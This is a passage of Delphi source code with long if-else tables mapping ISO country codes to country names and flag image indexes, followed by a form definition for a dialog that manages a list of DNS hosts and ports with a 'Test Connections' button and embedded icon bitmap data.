if (ISO3166CTRYNAME = 'MV') or (Code = 131) then Result := 'Maldives' else
if (ISO3166CTRYNAME = 'ML') or (Code = 132) then Result := 'Mali' else
if (ISO3166CTRYNAME = 'MT') or (Code = 133) then Result := 'Malta' else
if (ISO3166CTRYNAME = 'MH') or (Code = 134) then Result := 'Marshall Islands' else
if (ISO3166CTRYNAME = 'MQ') or (Code = 135) then Result := 'Martinique' else
if (ISO3166CTRYNAME = 'MR') or (Code = 136) then Result := 'Mauritania' else
if (ISO3166CTRYNAME = 'MU') or (Code = 137) then Result := 'Mauritius' else
if (ISO3166CTRYNAME = 'YT') or (Code = 138) then Result := 'Mayotte' else
if (ISO3166CTRYNAME = 'MX') or (Code = 139) then Result := 'Mexico' else
if (ISO3166CTRYNAME = 'FM') or (Code = 140) then Result := 'Micronesia, Federated States Of' else
if (ISO3166CTRYNAME = 'MD') or (Code = 141) then Result := 'Moldova, Republic Of' else
if (ISO3166CTRYNAME = 'MC') or (Code = 142) then Result := 'Monaco' else
if (ISO3166CTRYNAME = 'MN') or (Code = 143) then Result := 'Mongolia' else
if (ISO3166CTRYNAME = 'ME') or (Code = 144) then Result := 'Montenegro' else
if (ISO3166CTRYNAME = 'MS') or (Code = 145) then Result := 'Montserrat' else
if (ISO3166CTRYNAME = 'MA') or (Code = 146) then Result := 'Morocco' else
if (ISO3166CTRYNAME = 'MZ') or (Code = 147) then Result := 'Mozambique' else
if (ISO3166CTRYNAME = 'MM') or (Code = 148) then Result := 'Myanmar' else
if (ISO3166CTRYNAME = 'NA') or (Code = 149) then Result := 'Namibia' else
if (ISO3166CTRYNAME = 'NR') or (Code = 150) then Result := 'Nauru' else
if (ISO3166CTRYNAME = 'NP') or (Code = 151) then Result := 'Nepal' else
if (ISO3166CTRYNAME = 'NL') or (Code = 152) then Result := 'Netherlands' else
if (ISO3166CTRYNAME = 'NC') or (Code = 153) then Result := 'New Caledonia' else
if (ISO3166CTRYNAME = 'NZ') or (Code = 154) then Result := 'New Zealand' else
if (ISO3166CTRYNAME = 'NI') or (Code = 155) then Result := 'Nicaragua' else
if (ISO3166CTRYNAME = 'NE') or (Code = 156) then Result := 'Niger' else
if (ISO3166CTRYNAME = 'NG') or (Code = 157) then Result := 'Nigeria' else
if (ISO3166CTRYNAME = 'NU') or (Code = 158) then Result := 'Niue' else
if (ISO3166CTRYNAME = 'NF') or (Code = 159) then Result := 'Norfolk Island' else
if (ISO3166CTRYNAME = 'MP') or (Code = 160) then Result := 'Northern Mariana Islands' else
if (ISO3166CTRYNAME = 'KP') or (Code = 161) then Result := 'Korea, Democratic People' + '''' + 's Republic Of' else
if (ISO3166CTRYNAME = 'NO') or (Code = 162) then Result := 'Norway' else
if (ISO3166CTRYNAME = 'OM') or (Code = 163) then Result := 'Oman' else
if (ISO3166CTRYNAME = 'PK') or (Code = 164) then Result := 'Pakistan' else
if (ISO3166CTRYNAME = 'PW') or (Code = 165) then Result := 'Palau' else
if (ISO3166CTRYNAME = 'PS') or (Code = 166) then Result := 'Palestinian Territory, Occupied' else
if (ISO3166CTRYNAME = 'PA') or (Code = 167) then Result := 'Panama' else
if (ISO3166CTRYNAME = 'PG') or (Code = 168) then Result := 'Papua New Guinea' else
if (ISO3166CTRYNAME = 'PY') or (Code = 169) then Result := 'Paraguay' else
if (ISO3166CTRYNAME = 'PE') or (Code = 170) then Result := 'Peru' else
if (ISO3166CTRYNAME = 'PH') or (Code = 171) then Result := 'Philippines' else
if (ISO3166CTRYNAME = 'PN') or (Code = 172) then Result := 'Pitcairn' else
if (ISO3166CTRYNAME = 'PL') or (Code = 173) then Result := 'Poland' else
if (ISO3166CTRYNAME = 'PT') or (Code = 174) then Result := 'Portugal' else
if (ISO3166CTRYNAME = 'PR') or (Code = 175) then Result := 'Puerto Rico' else
if (ISO3166CTRYNAME = 'QA') or (Code = 176) then Result := 'Qatar' else
if (ISO3166CTRYNAME = 'RE') or (Code = 177) then Result := 'Reunion' else
if (ISO3166CTRYNAME = 'RO') or (Code = 178) then Result := 'Romania' else
if (ISO3166CTRYNAME = 'RU') or (Code = 179) then Result := 'Russian Federation' else
if (ISO3166CTRYNAME = 'RW') or (Code = 180) then Result := 'Rwanda' else
if (ISO3166CTRYNAME = 'BL') or (Code = 181) then Result := 'Saint Barthelemy' else
if (ISO3166CTRYNAME = 'SH') or (Code = 182) then Result := 'Saint Helena, Ascension And Tristan Da Cunha' else
if (ISO3166CTRYNAME = 'KN') or (Code = 183) then Result := 'Saint Kitts And Nevis' else
if (ISO3166CTRYNAME = 'LC') or (Code = 184) then Result := 'Saint Lucia' else
if (ISO3166CTRYNAME = 'MF') or (Code = 185) then Result := 'Saint Martin (French Part)' else
if (ISO3166CTRYNAME = 'PM') or (Code = 186) then Result := 'Saint Pierre And Miquelon' else
if (ISO3166CTRYNAME = 'VC') or (Code = 187) then Result := 'Saint Vincent And The Grenadines' else
if (ISO3166CTRYNAME = 'WS') or (Code = 188) then Result := 'Samoa' else
if (ISO3166CTRYNAME = 'SM') or (Code = 189) then Result := 'San Marino' else
if (ISO3166CTRYNAME = 'ST') or (Code = 190) then Result := 'Sao Tome And Principe' else
if (ISO3166CTRYNAME = 'SA') or (Code = 191) then Result := 'Saudi Arabia' else
if (ISO3166CTRYNAME = 'SN') or (Code = 192) then Result := 'Senegal' else
if (ISO3166CTRYNAME = 'RS') or (Code = 193) then Result := 'Serbia' else
if (ISO3166CTRYNAME = 'SC') or (Code = 194) then Result := 'Seychelles' else
if (ISO3166CTRYNAME = 'SL') or (Code = 195) then Result := 'Sierra Leone' else
if (ISO3166CTRYNAME = 'SG') or (Code = 196) then Result := 'Singapore' else
if (ISO3166CTRYNAME = 'SX') or (Code = 197) then Result := 'Sint Maarten (Dutch Part)' else
if (ISO3166CTRYNAME = 'SK') or (Code = 198) then Result := 'Slovakia' else
if (ISO3166CTRYNAME = 'SI') or (Code = 199) then Result := 'Slovenia' else
if (ISO3166CTRYNAME = 'SB') or (Code = 200) then Result := 'Solomon Islands' else
if (ISO3166CTRYNAME = 'SO') or (Code = 201) then Result := 'Somalia' else
if (ISO3166CTRYNAME = 'ZA') or (Code = 202) then Result := 'South Africa' else
if (ISO3166CTRYNAME = 'GS') or (Code = 203) then Result := 'South Georgia And The South Sandwich Islands ' else
if (ISO3166CTRYNAME = 'ES') or (Code = 204) then Result := 'Spain' else
if (ISO3166CTRYNAME = 'LK') or (Code = 205) then Result := 'Sri Lanka' else
if (ISO3166CTRYNAME = 'SD') or (Code = 206) then Result := 'Sudan' else
if (ISO3166CTRYNAME = 'SR') or (Code = 207) then Result := 'Suriname' else
if (ISO3166CTRYNAME = 'SJ') or (Code = 208) then Result := 'Svalbard And Jan Mayen' else
if (ISO3166CTRYNAME = 'SZ') or (Code = 209) then Result := 'Swaziland' else
if (ISO3166CTRYNAME = 'SE') or (Code = 210) then Result := 'Sweden' else
if (ISO3166CTRYNAME = 'CH') or (Code = 211) then Result := 'Switzerland' else
if (ISO3166CTRYNAME = 'SY') or (Code = 212) then Result := 'Syrian Arab Republic' else
if (ISO3166CTRYNAME = 'TW') or (Code = 213) then Result := 'Taiwan, Province Of China' else
if (ISO3166CTRYNAME = 'TJ') or (Code = 214) then Result := 'Tajikistan' else
if (ISO3166CTRYNAME = 'TZ') or (Code = 215) then Result := 'Tanzania, United Republic Of' else
if (ISO3166CTRYNAME = 'TH') or (Code = 216) then Result := 'Thailand' else
if (ISO3166CTRYNAME = 'TL') or (Code = 217) then Result := 'Timor-Leste' else
if (ISO3166CTRYNAME = 'TG') or (Code = 218) then Result := 'Togo' else
if (ISO3166CTRYNAME = 'TK') or (Code = 219) then Result := 'Tokelau' else
if (ISO3166CTRYNAME = 'TO') or (Code = 220) then Result := 'Tonga' else
if (ISO3166CTRYNAME = 'TT') or (Code = 221) then Result := 'Trinidad And Tobago' else
if (ISO3166CTRYNAME = 'TN') or (Code = 222) then Result := 'Tunisia' else
if (ISO3166CTRYNAME = 'TR') or (Code = 223) then Result := 'Turkey' else
if (ISO3166CTRYNAME = 'TM') or (Code = 224) then Result := 'Turkmenistan' else
if (ISO3166CTRYNAME = 'TC') or (Code = 225) then Result := 'Turks And Caicos Islands' else
if (ISO3166CTRYNAME = 'TV') or (Code = 226) then Result := 'Tuvalu' else
if (ISO3166CTRYNAME = 'UG') or (Code = 227) then Result := 'Uganda' else
if (ISO3166CTRYNAME = 'UA') or (Code = 228) then Result := 'Ukraine' else
if (ISO3166CTRYNAME = 'AE') or (Code = 229) then Result := 'United Arab Emirates' else
if (ISO3166CTRYNAME = 'GB') or (Code = 230) then Result := 'United Kingdom' else
if (ISO3166CTRYNAME = 'US') or (Code = 231) then Result := 'United States' else
if (ISO3166CTRYNAME = 'UY') or (Code = 232) then Result := 'Uruguay' else
if (ISO3166CTRYNAME = 'UZ') or (Code = 233) then Result := 'Uzbekistan' else
if (ISO3166CTRYNAME = 'VU') or (Code = 234) then Result := 'Vanuatu' else
if (ISO3166CTRYNAME = 'VE') or (Code = 235) then Result := 'Venezuela, Bolivarian Republic Of' else
if (ISO3166CTRYNAME = 'VN') or (Code = 236) then Result := 'Viet Nam' else
if (ISO3166CTRYNAME = 'VG') or (Code = 237) then Result := 'Virgin Islands, British' else
if (ISO3166CTRYNAME = 'VI') or (Code = 238) then Result := 'Virgin Islands, U.S.' else
if (ISO3166CTRYNAME = 'WF') or (Code = 239) then Result := 'Wallis And Futuna' else
if (ISO3166CTRYNAME = 'EH') or (Code = 240) then Result := 'Western Sahara' else
if (ISO3166CTRYNAME = 'YE') or (Code = 241) then Result := 'Yemen' else
if (ISO3166CTRYNAME = 'ZM') or (Code = 242) then Result := 'Zambia' else
if (ISO3166CTRYNAME = 'ZW') or (Code = 243) then Result := 'Zimbabwe';
end;
function GetCountryImageIndex(ISO3166CTRYNAME: String): Integer;
begin
if ISO3166CTRYNAME = 'AF' then Result := 0 else
if ISO3166CTRYNAME = 'AX' then Result := 1 else
if ISO3166CTRYNAME = 'AL' then Result := 2 else
if ISO3166CTRYNAME = 'DZ' then Result := 3 else
if ISO3166CTRYNAME = 'AS' then Result := 4 else
if ISO3166CTRYNAME = 'AD' then Result := 5 else
if ISO3166CTRYNAME = 'AO' then Result := 6 else
if ISO3166CTRYNAME = 'AI' then Result := 7 else
if ISO3166CTRYNAME = 'AQ' then Result := 8 else
if ISO3166CTRYNAME = 'AG' then Result := 9 else
if ISO3166CTRYNAME = 'AR' then Result := 10 else
if ISO3166CTRYNAME = 'AM' then Result := 11 else
if ISO3166CTRYNAME = 'AW' then Result := 12 else
if ISO3166CTRYNAME = 'AU' then Result := 13 else
if ISO3166CTRYNAME = 'AT' then Result := 14 else
if ISO3166CTRYNAME = 'AZ' then Result := 15 else
if ISO3166CTRYNAME = 'BS' then Result := 16 else
if ISO3166CTRYNAME = 'BH' then Result := 17 else
if ISO3166CTRYNAME = 'BD' then Result := 18 else
if ISO3166CTRYNAME = 'BB' then Result := 19 else
if ISO3166CTRYNAME = 'BY' then Result := 20 else
if ISO3166CTRYNAME = 'BE' then Result := 21 else
if ISO3166CTRYNAME = 'BZ' then Result := 22 else
if ISO3166CTRYNAME = 'BJ' then Result := 23 else
if ISO3166CTRYNAME = 'BM' then Result := 24 else
if ISO3166CTRYNAME = 'BT' then Result := 25 else
if ISO3166CTRYNAME = 'IO' then Result := 26 else
if ISO3166CTRYNAME = 'BO' then Result := 27 else
if ISO3166CTRYNAME = 'BQ' then Result := 28 else
if ISO3166CTRYNAME = 'BA' then Result := 29 else
if ISO3166CTRYNAME = 'BW' then Result := 30 else
if ISO3166CTRYNAME = 'BV' then Result := 31 else
if ISO3166CTRYNAME = 'BR' then Result := 32 else
if ISO3166CTRYNAME = 'BN' then Result := 33 else
if ISO3166CTRYNAME = 'BG' then Result := 34 else
if ISO3166CTRYNAME = 'BF' then Result := 35 else
if ISO3166CTRYNAME = 'BI' then Result := 36 else
if ISO3166CTRYNAME = 'KH' then Result := 37 else
if ISO3166CTRYNAME = 'CM' then Result := 38 else
if ISO3166CTRYNAME = 'CA' then Result := 39 else
if ISO3166CTRYNAME = 'CV' then Result := 40 else
if ISO3166CTRYNAME = 'KY' then Result := 41 else
if ISO3166CTRYNAME = 'CF' then Result := 42 else
if ISO3166CTRYNAME = 'TD' then Result := 43 else
if ISO3166CTRYNAME = 'CL' then Result := 44 else
if ISO3166CTRYNAME = 'CN' then Result := 45 else
if ISO3166CTRYNAME = 'CX' then Result := 46 else
if ISO3166CTRYNAME = 'CC' then Result := 47 else
if ISO3166CTRYNAME = 'CO' then Result := 48 else
if ISO3166CTRYNAME = 'KM' then Result := 49 else
if ISO3166CTRYNAME = 'CG' then Result := 50 else
if ISO3166CTRYNAME = 'CD' then Result := 51 else
if ISO3166CTRYNAME = 'CK' then Result := 52 else
if ISO3166CTRYNAME = 'CR' then Result := 53 else
if ISO3166CTRYNAME = 'HR' then Result := 54 else
if ISO3166CTRYNAME = 'CU' then Result := 55 else
if ISO3166CTRYNAME = 'CY' then Result := 56 else
if ISO3166CTRYNAME = 'CZ' then Result := 57 else
if ISO3166CTRYNAME = 'DK' then Result := 58 else
if ISO3166CTRYNAME = 'DJ' then Result := 59 else
if ISO3166CTRYNAME = 'DM' then Result := 60 else
if ISO3166CTRYNAME = 'DO' then Result := 61 else
if ISO3166CTRYNAME = 'EC' then Result := 62 else
if ISO3166CTRYNAME = 'EG' then Result := 63 else
if ISO3166CTRYNAME = 'SV' then Result := 64 else
if ISO3166CTRYNAME = 'GQ' then Result := 65 else
if ISO3166CTRYNAME = 'ER' then Result := 66 else
if ISO3166CTRYNAME = 'EE' then Result := 67 else
if ISO3166CTRYNAME = 'ET' then Result := 68 else
if ISO3166CTRYNAME = 'FK' then Result := 69 else
if ISO3166CTRYNAME = 'FO' then Result := 70 else
if ISO3166CTRYNAME = 'FJ' then Result := 71 else
if ISO3166CTRYNAME = 'FI' then Result := 72 else
if ISO3166CTRYNAME = 'FR' then Result := 73 else
if ISO3166CTRYNAME = 'PF' then Result := 74 else
if ISO3166CTRYNAME = 'TF' then Result := 75 else
if ISO3166CTRYNAME = 'GA' then Result := 76 else
if ISO3166CTRYNAME = 'GM' then Result := 77 else
if ISO3166CTRYNAME = 'GE' then Result := 78 else
if ISO3166CTRYNAME = 'DE' then Result := 79 else
if ISO3166CTRYNAME = 'GH' then Result := 80 else
if ISO3166CTRYNAME = 'GI' then Result := 81 else
if ISO3166CTRYNAME = 'GR' then Result := 82 else
if ISO3166CTRYNAME = 'GL' then Result := 83 else
if ISO3166CTRYNAME = 'GD' then Result := 84 else
if ISO3166CTRYNAME = 'GP' then Result := 85 else
if ISO3166CTRYNAME = 'GU' then Result := 86 else
if ISO3166CTRYNAME = 'GT' then Result := 87 else
if ISO3166CTRYNAME = 'GG' then Result := 88 else
if ISO3166CTRYNAME = 'GN' then Result := 89 else
if ISO3166CTRYNAME = 'GW' then Result := 90 else
if ISO3166CTRYNAME = 'GY' then Result := 91 else
if ISO3166CTRYNAME = 'HT' then Result := 92 else
if ISO3166CTRYNAME = 'VA' then Result := 93 else
if ISO3166CTRYNAME = 'HN' then Result := 94 else
if ISO3166CTRYNAME = 'HK' then Result := 95 else
if ISO3166CTRYNAME = 'HU' then Result := 96 else
if ISO3166CTRYNAME = 'IS' then Result := 97 else
if ISO3166CTRYNAME = 'IN' then Result := 98 else
if ISO3166CTRYNAME = 'ID' then Result := 99 else
if ISO3166CTRYNAME = 'IR' then Result := 100 else
if ISO3166CTRYNAME = 'IQ' then Result := 101 else
if ISO3166CTRYNAME = 'IE' then Result := 102 else
if ISO3166CTRYNAME = 'IM' then Result := 103 else
if ISO3166CTRYNAME = 'IL' then Result := 104 else
if ISO3166CTRYNAME = 'IT' then Result := 105 else
if ISO3166CTRYNAME = 'CI' then Result := 106 else
if ISO3166CTRYNAME = 'JM' then Result := 107 else
if ISO3166CTRYNAME = 'JP' then Result := 108 else
if ISO3166CTRYNAME = 'JE' then Result := 109 else
if ISO3166CTRYNAME = 'JO' then Result := 110 else
if ISO3166CTRYNAME = 'KZ' then Result := 111 else
if ISO3166CTRYNAME = 'KE' then Result := 112 else
if ISO3166CTRYNAME = 'KI' then Result := 113 else
if ISO3166CTRYNAME = 'KR' then Result := 114 else
if ISO3166CTRYNAME = 'KW' then Result := 115 else
if ISO3166CTRYNAME = 'KG' then Result := 116 else
if ISO3166CTRYNAME = 'LA' then Result := 117 else
if ISO3166CTRYNAME = 'LV' then Result := 118 else
if ISO3166CTRYNAME = 'LB' then Result := 119 else
if ISO3166CTRYNAME = 'LS' then Result := 120 else
if ISO3166CTRYNAME = 'LR' then Result := 121 else
if ISO3166CTRYNAME = 'LY' then Result := 122 else
if ISO3166CTRYNAME = 'LI' then Result := 123 else
if ISO3166CTRYNAME = 'LT' then Result := 124 else
if ISO3166CTRYNAME = 'LU' then Result := 125 else
if ISO3166CTRYNAME = 'MO' then Result := 126 else
if ISO3166CTRYNAME = 'MK' then Result := 127 else
if ISO3166CTRYNAME = 'MG' then Result := 128 else
if ISO3166CTRYNAME = 'MW' then Result := 129 else
if ISO3166CTRYNAME = 'MY' then Result := 130 else
if ISO3166CTRYNAME = 'MV' then Result := 131 else
if ISO3166CTRYNAME = 'ML' then Result := 132 else
if ISO3166CTRYNAME = 'MT' then Result := 133 else
if ISO3166CTRYNAME = 'MH' then Result := 134 else
if ISO3166CTRYNAME = 'MQ' then Result := 135 else
if ISO3166CTRYNAME = 'MR' then Result := 136 else
if ISO3166CTRYNAME = 'MU' then Result := 137 else
if ISO3166CTRYNAME = 'YT' then Result := 138 else
if ISO3166CTRYNAME = 'MX' then Result := 139 else
if ISO3166CTRYNAME = 'FM' then Result := 140 else
if ISO3166CTRYNAME = 'MD' then Result := 141 else
if ISO3166CTRYNAME = 'MC' then Result := 142 else
if ISO3166CTRYNAME = 'MN' then Result := 143 else
if ISO3166CTRYNAME = 'ME' then Result := 144 else
if ISO3166CTRYNAME = 'MS' then Result := 145 else
if ISO3166CTRYNAME = 'MA' then Result := 146 else
if ISO3166CTRYNAME = 'MZ' then Result := 147 else
if ISO3166CTRYNAME = 'MM' then Result := 148 else
if ISO3166CTRYNAME = 'NA' then Result := 149 else
if ISO3166CTRYNAME = 'NR' then Result := 150 else
if ISO3166CTRYNAME = 'NP' then Result := 151 else
if ISO3166CTRYNAME = 'NL' then Result := 152 else
if ISO3166CTRYNAME = 'NC' then Result := 153 else
if ISO3166CTRYNAME = 'NZ' then Result := 154 else
if ISO3166CTRYNAME = 'NI' then Result := 155 else
if ISO3166CTRYNAME = 'NE' then Result := 156 else
if ISO3166CTRYNAME = 'NG' then Result := 157 else
if ISO3166CTRYNAME = 'NU' then Result := 158 else
if ISO3166CTRYNAME = 'NF' then Result := 159 else
if ISO3166CTRYNAME = 'MP' then Result := 160 else
if ISO3166CTRYNAME = 'KP' then Result := 161 else
if ISO3166CTRYNAME = 'NO' then Result := 162 else
if ISO3166CTRYNAME = 'OM' then Result := 163 else
if ISO3166CTRYNAME = 'PK' then Result := 164 else
if ISO3166CTRYNAME = 'PW' then Result := 165 else
if ISO3166CTRYNAME = 'PS' then Result := 166 else
if ISO3166CTRYNAME = 'PA' then Result := 167 else
if ISO3166CTRYNAME = 'PG' then Result := 168 else
if ISO3166CTRYNAME = 'PY' then Result := 169 else
if ISO3166CTRYNAME = 'PE' then Result := 170 else
if ISO3166CTRYNAME = 'PH' then Result := 171 else
if ISO3166CTRYNAME = 'PN' then Result := 172 else
if ISO3166CTRYNAME = 'PL' then Result := 173 else
if ISO3166CTRYNAME = 'PT' then Result := 174 else
if ISO3166CTRYNAME = 'PR' then Result := 175 else
if ISO3166CTRYNAME = 'QA' then Result := 176 else
if ISO3166CTRYNAME = 'RE' then Result := 177 else
if ISO3166CTRYNAME = 'RO' then Result := 178 else
if ISO3166CTRYNAME = 'RU' then Result := 179 else
if ISO3166CTRYNAME = 'RW' then Result := 180 else
if ISO3166CTRYNAME = 'BL' then Result := 181 else
if ISO3166CTRYNAME = 'SH' then Result := 182 else
if ISO3166CTRYNAME = 'KN' then Result := 183 else
if ISO3166CTRYNAME = 'LC' then Result := 184 else
if ISO3166CTRYNAME = 'MF' then Result := 185 else
if ISO3166CTRYNAME = 'PM' then Result := 186 else
if ISO3166CTRYNAME = 'VC' then Result := 187 else
if ISO3166CTRYNAME = 'WS' then Result := 188 else
if ISO3166CTRYNAME = 'SM' then Result := 189 else
if ISO3166CTRYNAME = 'ST' then Result := 190 else
if ISO3166CTRYNAME = 'SA' then Result := 191 else
if ISO3166CTRYNAME = 'SN' then Result := 192 else
if ISO3166CTRYNAME = 'RS' then Result := 193 else
if ISO3166CTRYNAME = 'SC' then Result := 194 else
if ISO3166CTRYNAME = 'SL' then Result := 195 else
if ISO3166CTRYNAME = 'SG' then Result := 196 else
if ISO3166CTRYNAME = 'SX' then Result := 197 else
if ISO3166CTRYNAME = 'SK' then Result := 198 else
if ISO3166CTRYNAME = 'SI' then Result := 199 else
if ISO3166CTRYNAME = 'SB' then Result := 200 else
if ISO3166CTRYNAME = 'SO' then Result := 201 else
if ISO3166CTRYNAME = 'ZA' then Result := 202 else
if ISO3166CTRYNAME = 'GS' then Result := 203 else
if ISO3166CTRYNAME = 'ES' then Result := 204 else
if ISO3166CTRYNAME = 'LK' then Result := 205 else
if ISO3166CTRYNAME = 'SD' then Result := 206 else
if ISO3166CTRYNAME = 'SR' then Result := 207 else
if ISO3166CTRYNAME = 'SJ' then Result := 208 else
if ISO3166CTRYNAME = 'SZ' then Result := 209 else
if ISO3166CTRYNAME = 'SE' then Result := 210 else
if ISO3166CTRYNAME = 'CH' then Result := 211 else
if ISO3166CTRYNAME = 'SY' then Result := 212 else
if ISO3166CTRYNAME = 'TW' then Result := 213 else
if ISO3166CTRYNAME = 'TJ' then Result := 214 else
if ISO3166CTRYNAME = 'TZ' then Result := 215 else
if ISO3166CTRYNAME = 'TH' then Result := 216 else
if ISO3166CTRYNAME = 'TL' then Result := 217 else
if ISO3166CTRYNAME = 'TG' then Result := 218 else
if ISO3166CTRYNAME = 'TK' then Result := 219 else
if ISO3166CTRYNAME = 'TO' then Result := 220 else
if ISO3166CTRYNAME = 'TT' then Result := 221 else
if ISO3166CTRYNAME = 'TN' then Result := 222 else
if ISO3166CTRYNAME = 'TR' then Result := 223 else
if ISO3166CTRYNAME = 'TM' then Result := 224 else
if ISO3166CTRYNAME = 'TC' then Result := 225 else
if ISO3166CTRYNAME = 'TV' then Result := 226 else
if ISO3166CTRYNAME = 'UG' then Result := 227 else
if ISO3166CTRYNAME = 'UA' then Result := 228 else
if ISO3166CTRYNAME = 'AE' then Result := 229 else
if ISO3166CTRYNAME = 'GB' then Result := 230 else
if ISO3166CTRYNAME = 'US' then Result := 231 else
if ISO3166CTRYNAME = 'UY' then Result := 232 else
if ISO3166CTRYNAME = 'UZ' then Result := 233 else
if ISO3166CTRYNAME = 'VU' then Result := 234 else
if ISO3166CTRYNAME = 'VE' then Result := 235 else
if ISO3166CTRYNAME = 'VN' then Result := 236 else
if ISO3166CTRYNAME = 'VG' then Result := 237 else
if ISO3166CTRYNAME = 'VI' then Result := 238 else
if ISO3166CTRYNAME = 'WF' then Result := 239 else
if ISO3166CTRYNAME = 'EH' then Result := 240 else
if ISO3166CTRYNAME = 'YE' then Result := 241 else
if ISO3166CTRYNAME = 'ZM' then Result := 242 else
if ISO3166CTRYNAME = 'ZW' then Result := 243 else Result := -1;
end;
end.
================================================
FILE: Client/UnitFormDns.dfm
================================================
object DnsForm: TDnsForm
Left = 0
Top = 0
BorderIcons = [biSystemMenu]
Caption = 'DnsForm'
ClientHeight = 208
ClientWidth = 394
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
Icon.Data = {
0000010001001010000001002000680400001600000028000000100000002000
0000010020000000000040040000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000058B8
64FF55B661FF53B45EFF50B25BFF00000000000000003DA145FF369A3DFF3093
36FF2A8C2FFF0000000000000000217F24FF207E24FF207D23FF207D23FF5CBB
68FFA8D8AEFFA5D7ACFF54B55FFF000000000000000045A84EFF7FC688FF72C0
7CFF309436FF0000000000000000228226FF50AD57FF4FAC55FF207D23FF5FBE
6CFFACDAB1FFA9D9AFFF57B863FF00000000000000004CB057FF8ECC96FF83C8
8CFF389C3FFF000000000000000026872AFF53AF5AFF51AE58FF217F24FF63C1
70FF60BF6DFF5EBD6AFF5BBB68FF000000000000000054B55FFF4DB158FF47AA
50FF3FA348FF00000000000000002C8F30FF27882AFF238326FF228126FF0000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000B8B8B8FF00000000000000000000000000000000000000000000
0000000000000000000000000000000000005D5D5DFF00000000000000000000
000000000000BEBEBEFFBCBCBCFFB9B9B9FFB4B4B4FFACACACFFA2A2A2FF9999
99FF8E8E8EFF828282FF777777FF6D6D6DFF646464FF00000000000000000000
0000000000000000000000000000000000000000000000000000B6B6B6FFB1B1
B1FF000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000E1A46DFFD7995FFFCD8C
50FFC47E42FF0000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000E9B07DFFEDCBC0FFEAC3
B8FFCE8D51FF0000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000F0B98BFFF0D4C9FFEECD
C2FFD89C60FF0000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000F4C095FFF0BA8BFFEAB2
7FFFE2A870FF0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000FFFF
0000FFFF00000C3000000C3000000C3000000C300000FFFF0000DFFB0000C003
0000FE7F0000FFFF0000FC3F0000FC3F0000FC3F0000FC3F0000FFFF0000}
OldCreateOrder = False
Position = poMainFormCenter
OnShow = FormShow
PixelsPerInch = 96
TextHeight = 13
object Panel_1: TPanel
Left = 0
Top = 167
Width = 394
Height = 41
Align = alBottom
BevelOuter = bvNone
TabOrder = 0
ExplicitTop = 270
ExplicitWidth = 643
object Label_SizeLeft: TLabel
Left = 16
Top = 16
Width = 45
Height = 13
Caption = 'Size Left:'
end
object Button_1: TButton
Left = 103
Top = 8
Width = 123
Height = 25
Caption = 'Test Connections'
TabOrder = 0
OnClick = Button_1Click
end
object Button_2: TButton
Left = 232
Top = 8
Width = 75
Height = 25
Caption = 'OK'
TabOrder = 1
OnClick = Button_2Click
end
object Button_3: TButton
Left = 313
Top = 8
Width = 75
Height = 25
Caption = 'Cancel'
TabOrder = 2
OnClick = Button_3Click
end
end
object ListView_Dns: TListView
Left = 32
Top = 40
Width = 250
Height = 150
Columns = <
item
Caption = 'DNS'
Width = 200
end
item
AutoSize = True
Caption = 'Port'
end>
GridLines = True
ReadOnly = True
RowSelect = True
PopupMenu = PopupMenu_1
SmallImages = ImageList_1
TabOrder = 1
ViewStyle = vsReport
end
object Panel_Edit: TPanel
Left = 88
Top = 45
Width = 265
Height = 145
BevelOuter = bvNone
TabOrder = 2
object Label_1: TLabel
Left = 88
Top = 40
Width = 24
Height = 13
Caption = 'DNS:'
end
object Label_2: TLabel
Left = 88
Top = 67
Width = 24
Height = 13
Caption = 'Port:'
end
object Edit_DNS: TEdit
Left = 152
Top = 36
Width = 121
Height = 21
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
TabOrder = 0
Text = 'Edit_DNS'
end
object SpinEdit_Port: TSpinEdit
Left = 152
Top = 63
Width = 121
Height = 22
MaxValue = 65535
MinValue = 0
TabOrder = 1
Value = 0
end
object Button_4: TButton
Left = 96
Top = 108
Width = 75
Height = 25
Caption = 'OK'
TabOrder = 2
OnClick = Button_4Click
end
object Button_5: TButton
Left = 192
Top = 108
Width = 75
Height = 25
Caption = 'Cancel'
TabOrder = 3
OnClick = Button_5Click
end
end
object PopupMenu_1: TPopupMenu
Images = ImageList_1
OnPopup = PopupMenu_1Popup
Left = 248
Top = 216
object MenuItem_Add1: TMenuItem
Caption = 'Add'
ImageIndex = 0
OnClick = MenuItem_Add1Click
end
object MenuItem_Delete1: TMenuItem
Caption = 'Delete'
ImageIndex = 3
OnClick = MenuItem_Delete1Click
end
object MenuItem_Edit1: TMenuItem
Caption = 'Edit'
ImageIndex = 0
OnClick = MenuItem_Edit1Click
end
object MenuItem_SaveToFile1: TMenuItem
Caption = 'Save To File'
ImageIndex = 2
end
object MenuItem_LoadFromFile1: TMenuItem
Caption = 'Load From File'
ImageIndex = 1
end
end
object ImageList_1: TImageList
Left = 324
Top = 20
Bitmap = {
494C010105001000100010001000FFFFFFFFFF10FFFFFFFFFFFFFFFF424D3600
0000000000003600000028000000400000002000000001002000000000000020
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
